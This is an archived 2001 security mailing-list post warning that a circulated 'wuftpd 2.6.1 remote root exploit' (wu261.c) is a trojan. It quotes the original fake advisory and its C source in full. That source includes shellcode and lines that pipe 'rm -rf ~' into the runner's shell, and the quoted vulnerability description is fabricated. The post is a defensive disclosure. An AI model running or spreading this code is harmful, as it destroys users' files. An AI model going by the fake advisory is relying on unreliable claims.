Vulnerability Development mailing list archives

WARNING! Fake exploit (was: wuftpd 2.6.1 advisory/exploit)


From: Pedro Miller Rabinovitch <pedro () cipher com br>
Date: Wed, 19 Sep 2001 17:50:18 -0300

All,

        DO NOT RUN wu261.c, quoted below, as posted by Carolyn Meinel!

It is a malignant trojan which will delete all files in the home directory of any users running it.

Apparently, it buffer overruns itself to run the following strings in your own shell:
        puts("echo ~ ok, it seems to have worked... remember: \");
        puts("rm -rf is not elite ~");

For proof: change 'rm -rf' in the string above for 'echo', fix the extra slash ('\'), and run it without redirecting output. That's what I did on a testbed.

I'll post additional details on request.

I found it out after smelling something fishy with the extra slash in the first line. I guess our brains already scan for "rm *rf.*~" patterns like we see brick walls coming up.

Thanks to Blue Boar for the heads-up (see below).

Yours,

        Pedro M. Rabinovitch
        Cipher Technology


Hey, I'm told that this exploit like eats your hard drive or something.
Caveat emptor and all, but I figured since I actually heard about this,
I'd let you know.  I guess it's a spoofed note.
                                        BB



At 00:10 -0700 19.09.01, Carolyn Meinel wrote:
Hello,

In the interests of full disclosure, I am posting an exploit that was
developed single-handedly by my good friend Andrew Plughes over the
weekend. I had absolutely no part in the discovery of this serious
vulnerability, so I won't soak in Andrew's credit ;).

I have also mirrored this advisory+exploit on my website:

http://www.techbroker.com/wu261.txt

It's been a pleasure having Andrew as a cohort over the years, and
I'd like to thank him for selflessly dedicating himself to security
research.
We acknowledge a risk involved in submitting exploit code to a
public forum, with the possibility of characters of low demeanour
getting their hands on it. After lengthy discussions, we decided
that the work required to exploit the vulnerability is sufficient
to raise the bar on using it.

Yours truly,

Carolyn Meinel
cmeinel () techbroker com

---

Carolyn, my initial ideas about the vulnerability were not entirely
accurate, but I have confirmed that it -does- indeed exist. I am
enclosing some code that will spawn a remote root shell on vulnerable
systems, although it does require some effort to get it up and running.
It works against some Linux machines Bill gave me access to, and I
suspect it will work against the BSDs (chroot-breaking is not a
problem).

At your request, I have sent the developers the intricate details
of the hole in wuftpd 2.6.1 (and 2.6.0, but not in 2.5.x as far as
I can see). To outline the vulnerability for Bugtraq:

- The overflow occurs in the pre-authentication stages of the
  client session.

- During the transition to the 2.6.x releases, the wuftpd
  development team redesigned the command processing code
  in the daemon. Earlier releases are not believed to be
  vulnerable to similar problems.

- There is a strncat() cast overflow in the way a signed
  integer derived from a malicious command length is used as
  the third argument in an attempt to confine data within a
  buffer allocated on the stack (they don't believe a command
  containing 1 character will occur). If we make the signed
  integer negative, we are granted the ability to transform the
  third argument to strncat() into a HUGE positive value.
  However, because (signed_integer + 2) is used to dynamically
  allocate memory elsewhere with malloc(), we should set this
  integer to -2, or preferably -1. There will be subsequent
  heap corruption, but this occurs after the stack smash. That
  may be worth looking at too.

- We can only overflow by one byte because of the call to
  exit() that will be made if strlen() flags the string
  as being too large. As luck would have it, the target
  buffer is adjacent to the saved frame pointer in the
  vulnerable function, and we can take advantage of this
  in a similar way to the OpenBSD ftpd vulnerability.
I have sent a patch to the wuftpd developers, but it just
checks for the evil negative integer created indirectly as
a result of the short command. I'm sure the developers will
release a more involved patch within the next few days.

Disable the daemon immediately. While this is not something
that will be easily exploited (my demonstration exploit needs
some work), it is a very serious threat.

--
Andrew Plughes
Network security aficionado / UNIX administrator


/*
 * wu261.c
 * wuftpd 2.6.1 exploit (remote root)
 *
 * Vulnerability and code from Andrew Plughes.
 *
 * Usage: (./wu261 [address]; cat) | nc host 21
 * address = argument location on heap (defeats Openwall)
 *
 * Demonstrates a flaw in the pre-authentication code of
 * wuftpd 2.6.x which allows us to gain control of the
 * target process by displacing a saved frame pointer.
 *
* Tested against some Linux distributions. *
 * I'd like to thank Bill Harrington for providing me
 * with some test boxes.
* */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

unsigned char linux_x86[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";


unsigned char *shellcode = linux_x86;


//#define POTS 12                       /* fill these in for your
#define DEF_ALGN 1 * target system //#define HEAP_ADDR 0x41414141 */ int main(int argc, char *argv[])
{
        int i;
        unsigned long attack[1028 / 4];

/* redhat 7.0 */
#define ADDR 0x08049588
#define POSITION_OF_THE_STRING 16
#define target (unsigned long)

// unsigned long arg_addr = target HEAP_ADDR, align = DEF_ALGN;

        unsigned long arg_addr = ADDR, align = DEF_ALGN,
        pots = POSITION_OF_THE_STRING;

        if(argc == 2)
        arg_addr = strtoul(argv[1], NULL, 0);

        system("clear");
        fputs("wuftpd 2.6.1 exploit\n", stderr);
fputs("developed by Andrew Plughes\n", stderr);
        for(i = 0; i < 1028 / 4; i++)
        attack[i] = arg_addr;

        /* trigger the cast overflow with this command */
        sprintf((char *)attack, "U aa"); // "aa" -> for "\r\n"

        /* position of the string */
for(i = 0; i < 4; i++) sprintf((char *)attack+4+i, "%c", (unsigned long)puts >> i * 8 & 0xff);

        /* function var position */
        pots = *(unsigned long *)(attack[1] + 2); // rh7 -> attack+16+2
        /* set the function var accordingly */
        *(unsigned long *)pots = align;

        /* spaces for the process alignment */
        sprintf((char *)attack+20, "%*s", align % 4, "    ");

        printf("USER %s\r\n", shellcode);
        printf("%s\r\n", attack);
        puts("echo ~ ok, it seems to have worked... remember: \");
puts("rm -rf is not elite ~"); exit(0);
}

--
Pedro Miller Rabinovitch
Technology Manager
Cipher Technology
55-21-2579-3999
http://www.cipher.com.br


Current thread: